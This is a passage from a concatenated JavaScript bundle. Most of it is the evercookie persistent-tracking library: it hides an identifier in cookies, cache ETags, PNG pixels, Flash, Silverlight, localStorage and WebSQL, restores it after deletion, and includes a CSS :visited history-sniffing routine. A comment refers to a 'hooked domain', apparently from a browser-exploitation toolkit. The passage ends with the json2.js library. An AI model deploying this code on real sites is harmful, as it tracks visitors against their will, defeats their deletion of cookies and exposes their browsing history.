  544. document.cookie = 'evercookie_cache=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  545.  
  546. self._ec.cacheData = data;
  547. }
  548. });
  549. }
  550. };
  551.  
  552. this.evercookie_etag = function(name, value)
  553. {
  554. if (typeof(value) != "undefined")
  555. {
  556. // make sure we have evercookie session defined first
  557. document.cookie = 'evercookie_etag=' + value;
  558.  
  559. // evercookie_etag.php handles etagging
  560. var img = new Image();
  561. img.style.visibility = 'hidden';
  562. img.style.position = 'absolute';
  563. img.src = 'evercookie_etag.php?name=' + name;
  564. }
  565. else
  566. {
  567. // interestingly enough, we want to erase our evercookie
  568. // http cookie so the php will force a cached response
  569. var origvalue = this.getFromStr('evercookie_etag', document.cookie);
  570. self._ec.etagData = undefined;
  571. document.cookie = 'evercookie_etag=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  572.  
  573. $.ajax({
  574. url: 'evercookie_etag.php?name=' + name,
  575. success: function(data) {
  576. // put our cookie back
  577. document.cookie = 'evercookie_etag=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  578.  
  579. self._ec.etagData = data;
  580. }
  581. });
  582. }
  583. };
  584.  
  585. this.evercookie_lso = function(name, value)
  586. {
  587. var div = document.getElementById('swfcontainer');
  588. if (!div)
  589. {
  590. div = document.createElement("div");
  591. div.setAttribute('id', 'swfcontainer');
  592. document.body.appendChild(div);
  593. }
  594.  
  595. var flashvars = {};
  596. if (typeof value != 'undefined')
  597. flashvars.everdata = name + '=' + value;
  598.  
  599. var params = {};
  600. params.swliveconnect = "true";
  601. var attributes = {};
  602. attributes.id = "myswf";
  603. attributes.name = "myswf";
  604. swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1", "9.0.0", false, flashvars, params, attributes);
  605. };
  606.  
  607. this.evercookie_png = function(name, value)
  608. {
  609. if (document.createElement('canvas').getContext)
  610. {
  611. if (typeof(value) != "undefined")
  612. {
  613. // make sure we have evercookie session defined first
  614. document.cookie = 'evercookie_png=' + value;
  615.  
  616. // evercookie_png.php handles the hard part of generating the image
  617. // based off of the http cookie and returning it cached
  618. var img = new Image();
  619. img.style.visibility = 'hidden';
  620. img.style.position = 'absolute';
  621. img.src = 'evercookie_png.php?name=' + name;
  622. }
  623. else
  624. {
  625. self._ec.pngData = undefined;
  626. var context = document.createElement('canvas');
  627. context.style.visibility = 'hidden';
  628. context.style.position = 'absolute';
  629. context.width = 200;
  630. context.height = 1;
  631. var ctx = context.getContext('2d');
  632.  
  633. // interestingly enough, we want to erase our evercookie
  634. // http cookie so the php will force a cached response
  635. var origvalue = this.getFromStr('evercookie_png', document.cookie);
  636. document.cookie = 'evercookie_png=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  637.  
  638. var img = new Image();
  639. img.style.visibility = 'hidden';
  640. img.style.position = 'absolute';
  641. img.src = 'evercookie_png.php?name=' + name;
  642.  
  643. img.onload = function()
  644. {
  645. // put our cookie back
  646. document.cookie = 'evercookie_png=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  647.  
  648. self._ec.pngData = '';
  649. ctx.drawImage(img,0,0);
  650.  
  651. // get CanvasPixelArray from given coordinates and dimensions
  652. var imgd = ctx.getImageData(0, 0, 200, 1);
  653. var pix = imgd.data;
  654.  
  655. // loop over each pixel to get the "RGB" values (ignore alpha)
  656. for (var i = 0, n = pix.length; i < n; i += 4)
  657. {
  658. if (pix[i ] == 0) break;
  659. self._ec.pngData += String.fromCharCode(pix[i]);
  660. if (pix[i+1] == 0) break;
  661. self._ec.pngData += String.fromCharCode(pix[i+1]);
  662. if (pix[i+2] == 0) break;
  663. self._ec.pngData += String.fromCharCode(pix[i+2]);
  664. }
  665. }
  666. }
  667. }
  668. };
  669.  
  670. this.evercookie_local_storage = function(name, value)
  671. {
  672. try
  673. {
  674. if (window.localStorage)
  675. {
  676. if (typeof(value) != "undefined")
  677. localStorage.setItem(name, value);
  678. else
  679. return localStorage.getItem(name);
  680. }
  681. }
  682. catch (e) { }
  683. };
  684.  
  685. this.evercookie_database_storage = function(name, value)
  686. {
  687. try
  688. {
  689. if (window.openDatabase)
  690. {
  691. var database = window.openDatabase("sqlite_evercookie", "", "evercookie", 1024 * 1024);
  692.  
  693. if (typeof(value) != "undefined")
  694. database.transaction(function(tx)
  695. {
  696. tx.executeSql("CREATE TABLE IF NOT EXISTS cache(" +
  697. "id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, " +
  698. "name TEXT NOT NULL, " +
  699. "value TEXT NOT NULL, " +
  700. "UNIQUE (name)" +
  701. ")", [], function (tx, rs) { }, function (tx, err) { });
  702.  
  703. tx.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [name, value],
  704. function (tx, rs) { }, function (tx, err) { })
  705. });
  706. else
  707. {
  708. database.transaction(function(tx)
  709. {
  710. tx.executeSql("SELECT value FROM cache WHERE name=?", [name],
  711. function(tx, result1) {
  712. if (result1.rows.length >= 1)
  713. self._ec.dbData = result1.rows.item(0)['value'];
  714. else
  715. self._ec.dbData = '';
  716. }, function (tx, err) { })
  717. });
  718. }
  719. }
  720. } catch(e) { }
  721. };
  722.  
  723. this.evercookie_session_storage = function(name, value)
  724. {
  725. try
  726. {
  727. if (window.sessionStorage)
  728. {
  729. if (typeof(value) != "undefined")
  730. sessionStorage.setItem(name, value);
  731. else
  732. return sessionStorage.getItem(name);
  733. }
  734. } catch(e) { }
  735. };
  736.  
  737. this.evercookie_global_storage = function(name, value)
  738. {
  739. if (window.globalStorage)
  740. {
  741. var host = this.getHost();
  742.  
  743. try
  744. {
  745. if (typeof(value) != "undefined")
  746. eval("globalStorage[host]." + name + " = value");
  747. else
  748. return eval("globalStorage[host]." + name);
  749. } catch(e) { }
  750. }
  751. };
  752. this.evercookie_silverlight = function(name, value) {
  753. /*
  754. * Create silverlight embed
  755. *
  756. * Ok. so, I tried doing this the proper dom way, but IE chokes on appending anything in object tags (including params), so this
  757. * is the best method I found. Someone really needs to find a less hack-ish way. I hate the look of this shit.
  758. */
  759. var source = "evercookie.xap";
  760. var minver = "4.0.50401.0";
  761.  
  762. var initParam = "";
  763. if(typeof(value) != "undefined")
  764. initParam = '<param name="initParams" value="'+name+'='+value+'" />';
  765.  
  766. var html =
  767. '<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" id="mysilverlight" width="0" height="0">' +
  768. initParam +
  769. '<param name="source" value="'+source+'"/>' +
  770. '<param name="onLoad" value="onSilverlightLoad"/>' +
  771. '<param name="onError" value="onSilverlightError"/>' +
  772. '<param name="background" value="Transparent"/>' +
  773. '<param name="windowless" value="true"/>' +
  774. '<param name="minRuntimeVersion" value="'+minver+'"/>' +
  775. '<param name="autoUpgrade" value="true"/>' +
  776. '<a href="http://go.microsoft.com/fwlink/?LinkID=149156&v='+minver+'" style="text-decoration:none">' +
  777. '<img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get Microsoft Silverlight" style="border-style:none"/>' +
  778. '</a>' +
  779. '</object>';
  780. document.body.innerHTML+=html;
  781. };
  782.  
  783. // public method for encoding
  784. this.encode = function (input) {
  785. var output = "";
  786. var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  787. var i = 0;
  788.  
  789. input = this._utf8_encode(input);
  790.  
  791. while (i < input.length) {
  792.  
  793. chr1 = input.charCodeAt(i++);
  794. chr2 = input.charCodeAt(i++);
  795. chr3 = input.charCodeAt(i++);
  796.  
  797. enc1 = chr1 >> 2;
  798. enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  799. enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  800. enc4 = chr3 & 63;
  801.  
  802. if (isNaN(chr2)) {
  803. enc3 = enc4 = 64;
  804. } else if (isNaN(chr3)) {
  805. enc4 = 64;
  806. }
  807.  
  808. output = output +
  809. _baseKeyStr.charAt(enc1) + _baseKeyStr.charAt(enc2) +
  810. _baseKeyStr.charAt(enc3) + _baseKeyStr.charAt(enc4);
  811.  
  812. }
  813.  
  814. return output;
  815. };
  816.  
  817. // public method for decoding
  818. this.decode = function (input) {
  819. var output = "";
  820. var chr1, chr2, chr3;
  821. var enc1, enc2, enc3, enc4;
  822. var i = 0;
  823.  
  824. input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  825.  
  826. while (i < input.length) {
  827. enc1 = _baseKeyStr.indexOf(input.charAt(i++));
  828. enc2 = _baseKeyStr.indexOf(input.charAt(i++));
  829. enc3 = _baseKeyStr.indexOf(input.charAt(i++));
  830. enc4 = _baseKeyStr.indexOf(input.charAt(i++));
  831.  
  832. chr1 = (enc1 << 2) | (enc2 >> 4);
  833. chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  834. chr3 = ((enc3 & 3) << 6) | enc4;
  835.  
  836. output = output + String.fromCharCode(chr1);
  837.  
  838. if (enc3 != 64) {
  839. output = output + String.fromCharCode(chr2);
  840. }
  841. if (enc4 != 64) {
  842. output = output + String.fromCharCode(chr3);
  843. }
  844.  
  845. }
  846.  
  847. output = this._utf8_decode(output);
  848.  
  849. return output;
  850.  
  851. };
  852.  
  853. // private method for UTF-8 encoding
  854. this._utf8_encode = function (string) {
  855. string = string.replace(/\r\n/g,"\n");
  856. var utftext = "";
  857.  
  858. for (var n = 0; n < string.length; n++) {
  859.  
  860. var c = string.charCodeAt(n);
  861.  
  862. if (c < 128) {
  863. utftext += String.fromCharCode(c);
  864. }
  865. else if((c > 127) && (c < 2048)) {
  866. utftext += String.fromCharCode((c >> 6) | 192);
  867. utftext += String.fromCharCode((c & 63) | 128);
  868. }
  869. else {
  870. utftext += String.fromCharCode((c >> 12) | 224);
  871. utftext += String.fromCharCode(((c >> 6) & 63) | 128);
  872. utftext += String.fromCharCode((c & 63) | 128);
  873. }
  874.  
  875. }
  876.  
  877. return utftext;
  878. };
  879.  
  880. // private method for UTF-8 decoding
  881. this._utf8_decode = function (utftext) {
  882. var string = "";
  883. var i = 0;
  884. var c = c1 = c2 = 0;
  885.  
  886. while ( i < utftext.length ) {
  887.  
  888. c = utftext.charCodeAt(i);
  889.  
  890. if (c < 128) {
  891. string += String.fromCharCode(c);
  892. i++;
  893. }
  894. else if((c > 191) && (c < 224)) {
  895. c2 = utftext.charCodeAt(i+1);
  896. string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
  897. i += 2;
  898. }
  899. else {
  900. c2 = utftext.charCodeAt(i+1);
  901. c3 = utftext.charCodeAt(i+2);
  902. string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
  903. i += 3;
  904. }
  905.  
  906. }
  907.  
  908. return string;
  909. };
  910.  
  911. // this is crazy but it's 4am in dublin and i thought this would be hilarious
  912. // blame the guinness
  913. this.evercookie_history = function(name, value)
  914. {
  915. // - is special
  916. var baseStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-";
  917. var baseElems = baseStr.split("");
  918.  
  919. // sorry google.
  920. var url = 'http://www.google.com/evercookie/cache/' + this.getHost() + '/' + name;
  921.  
  922. if (typeof(value) != "undefined")
  923. {
  924. // don't reset this if we already have it set once
  925. // too much data and you can't clear previous values
  926. if (this.hasVisited(url))
  927. return;
  928.  
  929. this.createIframe(url, 'if');
  930. url = url + '/';
  931.  
  932. var base = this.encode(value).split("");
  933. for (var i = 0; i < base.length; i++)
  934. {
  935. url = url + base[i];
  936. this.createIframe(url, 'if' + i);
  937. }
  938.  
  939. // - signifies the end of our data
  940. url = url + '-';
  941. this.createIframe(url, 'if_');
  942. }
  943. else
  944. {
  945. // omg you got csspwn3d
  946. if (this.hasVisited(url))
  947. {
  948. url = url + '/';
  949.  
  950. var letter = "";
  951. var val = "";
  952. var found = 1;
  953. while (letter != '-' && found == 1)
  954. {
  955. found = 0;
  956. for (var i = 0; i < baseElems.length; i++)
  957. {
  958. if (this.hasVisited(url + baseElems[i]))
  959. {
  960. letter = baseElems[i];
  961. if (letter != '-')
  962. val = val + letter;
  963. url = url + letter;
  964. found = 1;
  965. break;
  966. }
  967. }
  968. }
  969.  
  970. // lolz
  971. return this.decode(val);
  972. }
  973. }
  974. };
  975.  
  976. this.createElem = function(type, name, append)
  977. {
  978. var el;
  979. if (typeof name != 'undefined' && document.getElementById(name))
  980. el = document.getElementById(name);
  981. else
  982. el = document.createElement(type);
  983. el.style.visibility = 'hidden';
  984. el.style.position = 'absolute';
  985.  
  986. if (name)
  987. el.setAttribute('id', name);
  988.  
  989. if (append)
  990. document.body.appendChild(el);
  991.  
  992. return el;
  993. };
  994.  
  995. this.createIframe = function(url, name)
  996. {
  997. var el = this.createElem('iframe', name, 1);
  998. el.setAttribute('src', url);
  999. return el;
  1000. };
  1001.  
  1002. // wait for our swfobject to appear (swfobject.js to load)
  1003. this.waitForSwf = function(i)
  1004. {
  1005. if (typeof i == 'undefined')
  1006. i = 0;
  1007. else
  1008. i++;
  1009.  
  1010. // wait for ~2 seconds for swfobject to appear
  1011. if (i < _ec_tests && typeof swfobject == 'undefined')
  1012. setTimeout(function() { waitForSwf(i) }, 300);
  1013. };
  1014.  
  1015. this.evercookie_cookie = function(name, value)
  1016. {
  1017. try{
  1018. if (typeof(value) != "undefined")
  1019. {
  1020. // expire the cookie first
  1021. document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  1022. document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  1023. }
  1024. else
  1025. return this.getFromStr(name, document.cookie);
  1026. }catch(e){
  1027. // the hooked domain is using HttpOnly, so we must set the hook ID in a different way.
  1028. // evercookie_userdata and evercookie_window will be used in this case.
  1029. }
  1030. };
  1031.  
  1032. // get value from param-like string (eg, "x=y&name=VALUE")
  1033. this.getFromStr = function(name, text)
  1034. {
  1035. if (typeof text != 'string')
  1036. return;
  1037.  
  1038. var nameEQ = name + "=";
  1039. var ca = text.split(/[;&]/);
  1040. for (var i = 0; i < ca.length; i++)
  1041. {
  1042. var c = ca[i];
  1043. while (c.charAt(0) == ' ')
  1044. c = c.substring(1, c.length);
  1045. if (c.indexOf(nameEQ) == 0)
  1046. return c.substring(nameEQ.length, c.length);
  1047. }
  1048. };
  1049.  
  1050. this.getHost = function()
  1051. {
  1052. var domain = document.location.host;
  1053. if (domain.indexOf('www.') == 0)
  1054. domain = domain.replace('www.', '');
  1055. return domain;
  1056. };
  1057.  
  1058. this.toHex = function(str)
  1059. {
  1060. var r = "";
  1061. var e = str.length;
  1062. var c = 0;
  1063. var h;
  1064. while (c < e)
  1065. {
  1066. h = str.charCodeAt(c++).toString(16);
  1067. while (h.length < 2)
  1068. h = "0" + h;
  1069. r += h;
  1070. }
  1071. return r;
  1072. };
  1073.  
  1074. this.fromHex = function(str)
  1075. {
  1076. var r = "";
  1077. var e = str.length;
  1078. var s;
  1079. while (e >= 0)
  1080. {
  1081. s = e - 2;
  1082. r = String.fromCharCode("0x" + str.substring(s, e)) + r;
  1083. e = s;
  1084. }
  1085. return r;
  1086. };
  1087.  
  1088. /*
  1089. * css history knocker (determine what sites your visitors have been to)
  1090. *
  1091. * originally by Jeremiah Grossman
  1092. * http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
  1093. *
  1094. * ported to additional browsers by Samy Kamkar
  1095. *
  1096. * compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari, chrome, flock
  1097. *
  1098. * - code@samy.pl
  1099. */
  1100.  
  1101.  
  1102. this.hasVisited = function(url)
  1103. {
  1104. if (this.no_color == -1)
  1105. {
  1106. var no_style = this._getRGB("http://samy-was-here-this-should-never-be-visited.com", -1);
  1107. if (no_style == -1)
  1108. this.no_color =
  1109. this._getRGB("http://samy-was-here-"+Math.floor(Math.random()*9999999)+"rand.com");
  1110. }
  1111.  
  1112. // did we give full url?
  1113. if (url.indexOf('https:') == 0 || url.indexOf('http:') == 0)
  1114. return this._testURL(url, this.no_color);
  1115.  
  1116. // if not, just test a few diff types if (exact)
  1117. return this._testURL("http://" + url, this.no_color) ||
  1118. this._testURL("https://" + url, this.no_color) ||
  1119. this._testURL("http://www." + url, this.no_color) ||
  1120. this._testURL("https://www." + url, this.no_color);
  1121. };
  1122.  
  1123. /* create our anchor tag */
  1124. var _link = this.createElem('a', '_ec_rgb_link');
  1125.  
  1126. /* for monitoring */
  1127. var created_style;
  1128.  
  1129. /* create a custom style tag for the specific link. Set the CSS visited selector to a known value */
  1130. var _cssText = '#_ec_rgb_link:visited{display:none;color:#FF0000}';
  1131.  
  1132. /* Methods for IE6, IE7, FF, Opera, and Safari */
  1133. try {
  1134. created_style = 1;
  1135. var style = document.createElement('style');
  1136. if (style.styleSheet)
  1137. style.styleSheet.innerHTML = _cssText;
  1138. else if (style.innerHTML)
  1139. style.innerHTML = _cssText;
  1140. else
  1141. {
  1142. var cssT = document.createTextNode(_cssText);
  1143. style.appendChild(cssT);
  1144. }
  1145. } catch (e) {
  1146. created_style = 0;
  1147. }
  1148.  
  1149. /* if test_color, return -1 if we can't set a style */
  1150. this._getRGB = function (u, test_color) {
  1151. if (test_color && created_style == 0)
  1152. return -1;
  1153.  
  1154. /* create the new anchor tag with the appropriate URL information */
  1155. _link.href = u;
  1156. _link.innerHTML = u;
  1157. // not sure why, but the next two appendChilds always have to happen vs just once
  1158. document.body.appendChild(style);
  1159. document.body.appendChild(_link);
  1160.  
  1161. /* add the link to the DOM and save the visible computed color */
  1162. var color;
  1163. if (document.defaultView)
  1164. color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
  1165. else
  1166. color = _link.currentStyle['color'];
  1167.  
  1168. return color;
  1169. };
  1170.  
  1171. this._testURL = function(url, no_color){
  1172. var color = this._getRGB(url);
  1173.  
  1174. /* check to see if the link has been visited if the computed color is red */
  1175. if (color == "rgb(255, 0, 0)" || color == "#ff0000")
  1176. return 1;
  1177.  
  1178. /* if our style trick didn't work, just compare default style colors */
  1179. else if (no_color && color != no_color)
  1180. return 1;
  1181.  
  1182. /* not found */
  1183. return 0;
  1184. }
  1185.  
  1186. };
  1187.  
  1188. return _class;
  1189. })();
  1190.  
  1191.  
  1192. /*
  1193. * Again, ugly workaround....same problem as flash.
  1194. */
  1195. var _global_isolated;
  1196. function onSilverlightLoad(sender, args) {
  1197. var control = sender.getHost();
  1198. _global_isolated = control.Content.App.getIsolatedStorage();
  1199. }
  1200. /*
  1201. function onSilverlightError(sender, args) {
  1202. _global_isolated = "";
  1203.  
  1204. }*/
  1205. function onSilverlightError(sender, args) {
  1206. _global_isolated = "";
  1207. }
  1208.  
  1209.  
  1210. // json2.js
  1211. // 2016-10-28
  1212. // Public Domain.
  1213. // NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
  1214. // See http://www.JSON.org/js.html
  1215. // This code should be minified before deployment.
  1216. // See http://javascript.crockford.com/jsmin.html
  1217.  
  1218. // USE YOUR OWN COPY. IT IS EXTREMELY UNWISE TO LOAD CODE FROM SERVERS YOU DO
  1219. // NOT CONTROL.
  1220.  
  1221. // This file creates a global JSON object containing two methods: stringify
  1222. // and parse. This file provides the ES5 JSON capability to ES3 systems.
  1223. // If a project might run on IE8 or earlier, then this file should be included.
  1224. // This file does nothing on ES5 systems.
  1225.  
  1226. // Create a JSON object only if one does not already exist. We create the
  1227. // methods in a closure to avoid creating global variables.
  1228.  
  1229. if (typeof JSON !== "object") {
  1230. JSON = {};
  1231. }
  1232.  
  1233. (function () {
  1234. "use strict";
  1235.  
  1236. var rx_one = /^[\],:{}\s]*$/;
  1237. var rx_two = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g;
  1238. var rx_three = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g;
  1239. var rx_four = /(?:^|:|,)(?:\s*\[)+/g;
  1240. var rx_escapable = /[\\"\u0000-\u001f\u007f-\u009f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;
  1241. var rx_dangerous = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;
  1242.  
  1243. function f(n) {
  1244. // Format integers to have at least two digits.
  1245. return n < 10
  1246. ? "0" + n
  1247. : n;
  1248. }
  1249.  
  1250. function this_value() {
  1251. return this.valueOf();
  1252. }
  1253.  
  1254. if (typeof Date.prototype.toJSON !== "function") {
  1255.  
  1256. Date.prototype.toJSON = function () {
  1257.  
  1258. return isFinite(this.valueOf())
  1259. ? this.getUTCFullYear() + "-" +
  1260. f(this.getUTCMonth() + 1) + "-" +
  1261. f(this.getUTCDate()) + "T" +
  1262. f(this.getUTCHours()) + ":" +
  1263. f(this.getUTCMinutes()) + ":" +
  1264. f(this.getUTCSeconds()) + "Z"
  1265. : null;
  1266. };
  1267.  
  1268. Boolean.prototype.toJSON = this_value;
  1269. Number.prototype.toJSON = this_value;
  1270. String.prototype.toJSON = this_value;
  1271. }
  1272.  
  1273. var gap;
  1274. var indent;
  1275. var meta;
  1276. var rep;
  1277.  
  1278.  
  1279. function quote(string) {
  1280.  
  1281. // If the string contains no control characters, no quote characters, and no
  1282. // backslash characters, then we can safely slap some quotes around it.
  1283. // Otherwise we must also replace the offending characters with safe escape
  1284. // sequences.
  1285.  
  1286. rx_escapable.lastIndex = 0;
  1287. return rx_escapable.test(string)
  1288. ? "\"" + string.replace(rx_escapable, function (a) {
  1289. var c = meta[a];
  1290. return typeof c === "string"
  1291. ? c
  1292. : "\\u" + ("0000" + a.charCodeAt(0).toString(16)).slice(-4);
  1293. }) + "\""
  1294. : "\"" + string + "\"";
  1295. }
  1296.  
  1297.  
  1298. function str(key, holder) {
  1299.  
  1300. // Produce a string from holder[key].
  1301.  
  1302. var i; // The loop counter.
  1303. var k; // The member key.
  1304. var v; // The member value.
  1305. var length;
  1306. var mind = gap;
  1307. var partial;
  1308. var value = holder[key];
  1309.  
  1310. // If the value has a toJSON method, call it to obtain a replacement value.
  1311.  
  1312. if (value && typeof value === "object" &&
  1313. typeof value.toJSON === "function") {
  1314. value = value.toJSON(key);
  1315. }
  1316.  
  1317. // If we were called with a replacer function, then call the replacer to
  1318. // obtain a replacement value.
  1319.  
  1320. if (typeof rep === "function") {
  1321. value = rep.call(holder, key, value);
  1322. }
  1323.  
  1324. // What happens next depends on the value's type.
  1325.  
  1326. switch (typeof value) {
  1327. case "string":
  1328. return quote(value);
  1329.  
  1330. case "number":
  1331.  
  1332. // JSON numbers must be finite. Encode non-finite numbers as null.
  1333.  
  1334. return isFinite(value)
  1335. ? String(value)
  1336. : "null";
  1337.  
  1338. case "boolean":
  1339. case "null":
  1340.  
  1341. // If the value is a boolean or null, convert it to a string. Note:
  1342. // typeof null does not produce "null". The case is included here in
  1343. // the remote chance that this gets fixed someday.
  1344.  
  1345. return String(value);
  1346.  
  1347. // If the type is "object", we might be dealing with an object or an array or
  1348. // null.
  1349.  
  1350. case "object":
  1351.  
  1352. // Due to a specification blunder in ECMAScript, typeof null is "object",
  1353. // so watch out for that case.
  1354.  
  1355. if (!value) {
  1356. return "null";
  1357. }
  1358.  
  1359. // Make an array to hold the partial results of stringifying this object value.
  1360.  
  1361. gap += indent;
  1362. partial = [];
  1363.  
  1364. // Is the value an array?
  1365.  
  1366. if (Object.prototype.toString.apply(value) === "[object Array]") {
  1367.  
  1368. // The value is an array. Stringify every element. Use null as a placeholder
  1369. // for non-JSON values.
  1370.  
  1371. length = value.length;
  1372. for (i = 0; i < length; i += 1) {
  1373. partial[i] = str(i, value) || "null";
  1374. }
  1375.  
  1376. // Join all of the elements together, separated with commas, and wrap them in
  1377. // brackets.
  1378.  
  1379. v = partial.length === 0
  1380. ? "[]"
  1381. : gap
  1382. ? "[\n" + gap + partial.join(",\n" + gap) + "\n" + mind + "]"
  1383. : "[" + partial.join(",") + "]";
  1384. gap = mind;
  1385. return v;
  1386. }
  1387.  
  1388. // If the replacer is an array, use it to select the members to be stringified.
  1389.  
  1390. if (rep && typeof rep === "object") {
  1391. length = rep.length;
  1392. for (i = 0; i < length; i += 1) {
  1393. if (typeof rep[i] === "string") {
  1394. k = rep[i];
  1395. v = str(k, value);
  1396. if (v) {
  1397. partial.push(quote(k) + (
  1398. gap
  1399. ? ": "
  1400. : ":"
  1401. ) + v);
  1402. }
  1403. }
  1404. }
  1405. } else {
  1406.  
  1407. // Otherwise, iterate through all of the keys in the object.
  1408.  
  1409. for (k in value) {
  1410. if (Object.prototype.hasOwnProperty.call(value, k)) {
  1411. v = str(k, value);
  1412. if (v) {
  1413. partial.push(quote(k) + (
  1414. gap
  1415. ? ": "
  1416. : ":"
  1417. ) + v);
  1418. }
  1419. }
  1420. }
  1421. }
  1422.  
  1423. // Join all of the member texts together, separated with commas,
  1424. // and wrap them in braces.
  1425.  
  1426. v = partial.length === 0
  1427. ? "{}"
  1428. : gap
  1429. ? "{\n" + gap + partial.join(",\n" + gap) + "\n" + mind + "}"
  1430. : "{" + partial.join(",") + "}";
  1431. gap = mind;
  1432. return v;
  1433. }
  1434. }
  1435.  
  1436. // If the JSON object does not yet have a stringify method, give it one.
  1437.  
  1438. if (typeof JSON.stringify !== "function") {
  1439. meta = { // table of character substitutions
  1440. "\b": "\\b",
  1441. "\t": "\\t",
  1442. "\n": "\\n",
  1443. "\f": "\\f",
  1444. "\r": "\\r",
  1445. "\"": "\\\"",
  1446. "\\": "\\\\"
  1447. };
  1448. JSON.stringify = function (value, replacer, space) {
  1449.  
  1450. // The stringify method takes a value and an optional replacer, and an optional
  1451. // space parameter, and returns a JSON text. The replacer can be a function
  1452. // that can replace values, or an array of strings that will select the keys.
  1453. // A default replacer method can be provided. Use of the space parameter can
  1454. // produce text that is more easily readable.
  1455.  
  1456. var i;
  1457. gap = "";
  1458. indent = "";
  1459.  
  1460. // If the space parameter is a number, make an indent string containing that
  1461. // many spaces.
  1462.  
  1463. if (typeof space === "number") {
  1464. for (i = 0; i < space; i += 1) {
  1465. indent += " ";
  1466. }
  1467.  
  1468. // If the space parameter is a string, it will be used as the indent string.
  1469.  
  1470. } else if (typeof space === "string") {
  1471. indent = space;
  1472. }
  1473.  
  1474. // If there is a replacer, it must be a function or an array.
  1475. // Otherwise, throw an error.
  1476.  
  1477. rep = replacer;
  1478. if (replacer && typeof replacer !== "function" &&
  1479. (typeof replacer !== "object" ||
  1480. typeof replacer.length !== "number")) {
  1481. throw new Error("JSON.stringify");
  1482. }
  1483.  
  1484. // Make a fake root object containing our value under the key of "".
  1485. // Return the result of stringifying the value.
  1486.  
  1487. return str("", {"": value});
  1488. };
  1489. }
  1490.  
  1491.  
  1492. // If the JSON object does not yet have a parse method, give it one.
  1493.  
  1494. if (typeof JSON.parse !== "function") {
  1495. JSON.parse = function (text, reviver) {
  1496.  
  1497. // The parse method takes a text and an optional reviver function, and returns
  1498. // a JavaScript value if the text is a valid JSON text.
  1499.  
  1500. var j;
  1501.  
  1502. function walk(holder, key) {
  1503.  
  1504. // The walk method is used to recursively walk the resulting structure so
  1505. // that modifications can be made.
  1506.  
  1507. var k;
  1508. var v;
  1509. var value = holder[key];
  1510. if (value && typeof value === "object") {
  1511. for (k in value) {
  1512. if (Object.prototype.hasOwnProperty.call(value, k)) {
  1513. v = walk(value, k);
  1514. if (v !== undefined) {
  1515. value[k] = v;
  1516. } else {
  1517. delete value[k];
  1518. }
  1519. }
  1520. }
  1521. }
  1522. return reviver.call(holder, key, value);
  1523. }
  1524.  
  1525.  
  1526. // Parsing happens in four stages. In the first stage, we replace certain
  1527. // Unicode characters with escape sequences. JavaScript handles many characters
  1528. // incorrectly, either silently deleting them, or treating them as line endings.
  1529.  
  1530. text = String(text);
  1531. rx_dangerous.lastIndex = 0;
  1532. if (rx_dangerous.test(text)) {
  1533. text = text.replace(rx_dangerous, function (a) {
  1534. return "\\u" +
  1535. ("0000" + a.charCodeAt(0).toString(16)).slice(-4);
  1536. });
  1537. }
  1538.  
  1539. // In the second stage, we run the text against regular expressions that look
  1540. // for non-JSON patterns. We are especially concerned with "()" and "new"
  1541. // because they can cause invocation, and "=" because it can cause mutation.
  1542. // But just to be safe, we want to reject all unexpected forms.
  1543.  
  1544. // We split the second stage into 4 regexp operations in order to work around
  1545. // crippling inefficiencies in IE's and Safari's regexp engines. First we
  1546. // replace the JSON backslash pairs with "@" (a non-JSON character). Second, we
  1547. // replace all simple value tokens with "]" characters. Third, we delete all
  1548. // open brackets that follow a colon or comma or that begin the text. Finally,
  1549. // we look to see that the remaining characters are only whitespace or "]" or
  1550. // "," or ":" or "{" or "}". If that is so, then the text is safe for eval.
  1551.  
  1552. if (
  1553. rx_one.test(
  1554. text
  1555. .replace(rx_two, "@")
  1556. .replace(rx_three, "]")
  1557. .replace(rx_four, "")
  1558. )
  1559. ) {
  1560.  
  1561. // In the third stage we use the eval function to compile the text into a
  1562. // JavaScript structure. The "{" operator is subject to a syntactic ambiguity
  1563. // in JavaScript: it can begin a block or an object literal. We wrap the text
  1564. // in parens to eliminate the ambiguity.
  1565.  
  1566. j = eval("(" + text + ")");
  1567.  
  1568. // In the optional fourth stage, we recursively walk the new structure, passing
  1569. // each name/value pair to a reviver function for possible transformation.
  1570.  
  1571. return (typeof reviver === "function")
  1572. ? walk({"": j}, "")
  1573. : j;
  1574. }
  1575.  
  1576. // If the text is not JSON parseable, then a SyntaxError is thrown.
  1577.  
  1578. throw new SyntaxError("JSON.parse");
  1579. };
  1580. }
  1581. }());
  1582.  
  1583.  
  1584. /* *******************************************
  1585. // Copyright 2010-2015, Anthony Hand
